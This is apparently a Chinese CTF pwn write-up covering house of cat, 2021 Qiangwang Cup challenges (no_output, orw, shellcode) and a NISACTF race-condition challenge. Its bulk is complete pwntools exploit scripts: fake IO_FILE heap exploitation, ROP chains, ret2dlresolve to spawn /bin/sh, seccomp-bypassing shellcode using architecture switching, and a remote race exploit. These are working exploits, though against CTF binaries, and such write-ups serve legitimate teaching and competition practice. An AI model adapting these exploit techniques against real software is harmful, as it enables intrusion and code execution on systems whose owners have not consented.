fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE +=p64(io_addr+0x40) # rax2
fake_IO_FILE +=p64(1)*7
fake_IO_FILE +=p64(orw_addr+0x10) #orw_addr存放"flag"
fake_IO_FILE +=p64(ret) #setcontext的rcx
image-20230926113141807 image-20230926113328714 image-20230926113525326

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *

io = process("./houseofcat")
libc = ELF("./libc.so.6")

def add(index, size, content):
io.sendlineafter(b'~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
io.sendlineafter(b'choice:\n', b'1')
io.sendlineafter(b'idx:\n', str(index).encode())
io.sendlineafter(b'size:\n', str(size).encode())
io.sendafter(b'content:\n', content)

def edit(index, content):
io.sendlineafter(b'~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
io.sendlineafter(b'choice:\n', b'4')
io.sendlineafter(b'idx:\n', str(index).encode())
io.sendafter(b'content:\n', content)

def free(index):
io.sendlineafter(b'~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
io.sendlineafter(b'choice:\n', b'2')
io.sendlineafter(b'idx:\n', str(index).encode())


def show(index):
io.sendlineafter(b'~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
io.sendlineafter(b'choice:\n', b'3')
io.sendlineafter(b'idx:\n', str(index).encode())


io.sendafter(b"~\n", b"LOGIN | r00t QWBQWXF admin")

add(0, 0x418, b'a'*8)
add(1, 0x418, b'b'*8)
free(0)
add(2, 0x448, b'c'*8)
add(3, 0x448, b'd'*8)

show(0)
io.recvuntil(b"Context:\n")
libc_base = u64(io.recv(8)) - (0x00007ff1860320d0-0x7ff185e18000)
log.success("libc_base===>"+hex(libc_base))
io.recv(8)
heap_base = u64(io.recv(8)) - 0x290
log.success("heap_base===>"+hex(heap_base))

stderr = libc_base + libc.sym["stderr"]
setcontext = libc_base + libc.sym["setcontext"]
ret = libc_base+0x0000000000029cd6
orw_addr = heap_base+0x28e0
pop_rdi_ret = libc_base+0x000000000002a3e5
pop_rsi_ret = libc_base+0x000000000002be51
pop_rax_ret = libc_base+0x0000000000045eb0
pop_rdx_r12_ret = libc_base+0x000000000011f497
syscall_ret = libc_base+next(libc.search(asm('syscall\nret')))
orw = b"./flag"
orw = orw.ljust(0x10, b'\x00')
orw+= p64(pop_rdi_ret) + p64(0) + p64(libc_base+libc.sym["close"])
orw+= p64(pop_rdi_ret) + p64(orw_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw+= p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(heap_base) + p64(pop_rdx_r12_ret) + p64(0x30)*2 + p64(libc_base+libc.sym["read"])
orw+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(heap_base) + p64(pop_rdx_r12_ret) + p64(0x30)*2 + p64(libc_base+libc.sym["write"])

io_addr = heap_base + 0x290
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(io_addr+0xb0)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(io_addr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE +=p64(io_addr+0x40) # rax2
fake_IO_FILE +=p64(1)*7
fake_IO_FILE +=p64(orw_addr+0x10)
fake_IO_FILE +=p64(ret) #setcontext rcx

add(4, 0x418, fake_IO_FILE)
add(5, 0x428, b'f'*8)
add(6, 0x448, b'g'*8)
free(5)
add(7, 0x448, b'h'*8)
free(0)
edit(5, p64(libc_base+0x21a0d0)*2+p64(heap_base+0x1350)+p64(stderr-0x20))
add(8, 0x448, b'i'*8)

add(9, 0x438, b'j'*8)
free(2)
add(10, 0x458, orw)
edit(2, p64(libc_base+0x21a0e0)*2+p64(heap_base+0xad0)+p64(heap_base+0x2d30-0x20+3))
free(9)
#add(11, 0x458, b'anza')
#gdb.attach(io, "b *$rebase(0x0177F)")
gdb.attach(io, 'b* (_IO_wfile_seekoff)')
pause()

io.sendlineafter(b'~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
io.sendlineafter(b'choice:\n', b'1')
io.sendlineafter(b'idx:\n', str(11).encode())
io.sendlineafter(b'size:\n', str(0x458).encode())

io.interactive()

2021强网杯

1. no_output

32 位程序。通过 strcpy 会向末尾添加 \x00 的特性覆盖 fd 为 0:

image-20230926151746580 image-20230926151806275

为了触发栈溢出 vuln 函数,给 v1 赋值 -1,v2[0] 赋值 -2147483648,使其正向溢出:

image-20230926151933649

由于没有输出函数,需要打 ret2dlresolve 板子,可以直接用 pwntools 自带的工具:

image-20230926152748522
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.arch = 'i386'

io = process("./test")

rop = ROP("./test")
elf = ELF("./test")

payload = b'\x00'*0x30
io.send(payload)
payload = b'b'*0x20


io.send(payload)
io.send(b'hello_boy\x00')

# gdb.attach(io, "b *0x080492CC")
# pause()

io.sendline(b'-2147483648')
io.sendline(b'-1')

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
info(rop.dump())

io.send(fit({0x4C: rop.chain(), 0x100: dlresolve.payload}))
#0x4c是padding距离,0x100是读入数据多少

io.interactive()

2. orw

附件中有 libseccomp.so.0,可以使用如下命令暂时加载环境:

1
export LD_PRELOAD=./libseccomp.so.0

查看沙箱规则,果然只允许 orw:

1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

checksec 一下,发现 got 表可写,且有 rwx 空间,堆栈均可 rwx:

image-20230926164914818

发现是个伪菜单题,idx 可以为负数:

image-20230926165223111

size 是个有符号 int 型,在 read_ 中有个漏洞,假如 size 为 0,程序会一直读下去,直至为 \n:

image-20230926165839366

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

io = process("./pwn")
context.arch = "amd64"

shellcode = asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')

io.sendlineafter(b"choice >>\n", b"1")
io.sendlineafter(b"index:\n", b"-25")
io.sendlineafter(b"size:\n", b"0")
io.sendlineafter(b"content:\n", shellcode)
gdb.attach(io, "b *$rebase(0xFE7)")
pause()

io.sendlineafter(b"choice >>\n", b"4")
io.sendlineafter(b"index:\n", b"0")

io.interactive()

3. shellcode

开了沙盒的 64 位程序,限制挺多,首先沙箱白名单,只允许一些系统调用,而且并不常规:

image-20230929224419803

shellcode 的值中不能包含 \x7f 和 小于等于 \x1f 的字符,即需要为可见字符:

image-20230929224828120

沙箱规则意味着我们需要 orw,但 open 和 write 在哪呢,允许的其他几个系统调用又有什么用呢?我们看一下对应的系统调用:

image-20230929225241359 image-20230929225246821

可假如我们可以切换架构执行对应的系统调用,岂不是可以相当于 open 和 write,虽然 stat 对应的 32 位系统调用 write 被禁用了,但可以用爆破代替。

切换架构用到的指令是 retfq,实际效果是ret; setcs,需要注意的是返回到的 retaddress 应当是 4 字节,所以我们需要提前 mmap 一段用于 32 位架构执行的空间。

解题思路:

  1. mmap 一段 0x40404040 空间用于 x32 和其余 x64 shellcode 执行。
  2. read 读入 x32 和其余 x64 shellcode。
  3. 切换 32 位架构,ret 至 0x40404040 上。
  4. open 打开 flag。
  5. 切换 64 位架构,ret 至 [0x40404040 + offset],offset 直至其余 x64 shellcode。
  6. read 将 flag 读入某个空间,进行 cmp 爆破。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *
context.terminal = ['tmux', 'sp', '-h']

def exp(i, j):
syscall_enc_x64 = '''
push rdx
pop rdx
'''
shellcode_mmap_x64 ='''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49

'''
shellcode_read_x64 = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040 /*set rsi*/
pop rsi

push 0x40 /*set rdi*/
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40 /*set rdx*/
push 0x70
pop rdx

push rbx /*syscall*/
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl

push rdx /*set rax*/
pop rax
xor al,0x70

'''
shellcode_retfq_x64 = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''


payload64 = asm(shellcode_mmap_x64, arch='amd64', os='linux')
payload64+= asm(syscall_enc_x64, arch='amd64', os='linux')
payload64+= asm(shellcode_read_x64, arch='amd64', os='linux')
payload64+= asm(syscall_enc_x64, arch='amd64', os='linux')
payload64+= asm(shellcode_retfq_x64, arch='amd64', os='linux')
payload64+= asm(syscall_enc_x64, arch='amd64', os='linux')

# gdb.attach(io, "b *0x040026D")
# pause()
io.send(payload64)
sleep(0.3)

shellcode_open_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax

'''
shellcode_retfq_x32 = '''
push 0x33
push 0x40404089
retfq

'''
shellcode_readflag_x64 = '''
/*read(flag_fd,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

'''

payload32 = asm(shellcode_open_x86, arch='i386', os='linux')
payload32+= 0x29 * b'\x90'
payload32+= asm(shellcode_retfq_x32, arch='amd64', os='linux')
payload32+= asm(shellcode_readflag_x64, arch='amd64', os='linux')
if i <= 1:
shellcode_cmp_x64 = "cmp byte ptr[rsi+{0}], {1};jz $-3;ret".format(i, j)
else:
shellcode_cmp_x64 = "cmp byte ptr[rsi+{0}], {1};jz $-4;ret".format(i, j)
payload32+= asm(shellcode_cmp_x64, arch='amd64', os='linux')
io.send(payload32)

flag = ""
for i in range(0, 0x20):
print("第{0}位".format(i))
print(flag)
for j in range(0x20, 127):
print("try-->"+chr(j))
io = process("./shellcode")
try:
exp(i, j)
io.recvline(timeout=1) # 等待1s再进行接收,这个过程中如果程序进入了死循环,意味着比对成功,倘若比对失败,程序直接EOF,触发except
flag += chr(j)
print(flag)

io.close()
break
except:
io.close()
print(flag)

其他

1. [NISACTF 2022]shop_pwn

刚开始只有 100 元,购买 flag 需要 200 元,bags 中只有一支值 99 元的 pen,卖掉也不够 flag 的钱。

但值得一提的是卖东西的程序是由pthread_create创造的线程去执行,且执行过程中使用了usleep短暂地休眠了,因此可能存在多线程竞争问题,即两个线程在很小的时间间隙内同时卖掉了笔:

image-20230914155829851 image-20230914155930453

EXP 如下,值得注意的是,在 sleep 比较短的情况下打远程最好不要用sendaftersendlineafter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

# io = process("./pwn")
io = remote("node5.anna.nssctf.cn", 28913)

def sell_pen():
io.sendline(b"3")
io.sendline(b"0")

def buy_flag():
io.sendline(b"2")
io.sendline(b"1")

def see_flag():
io.sendline(b"1")

sell_pen()
sell_pen()

buy_flag()
see_flag()

io.interactive()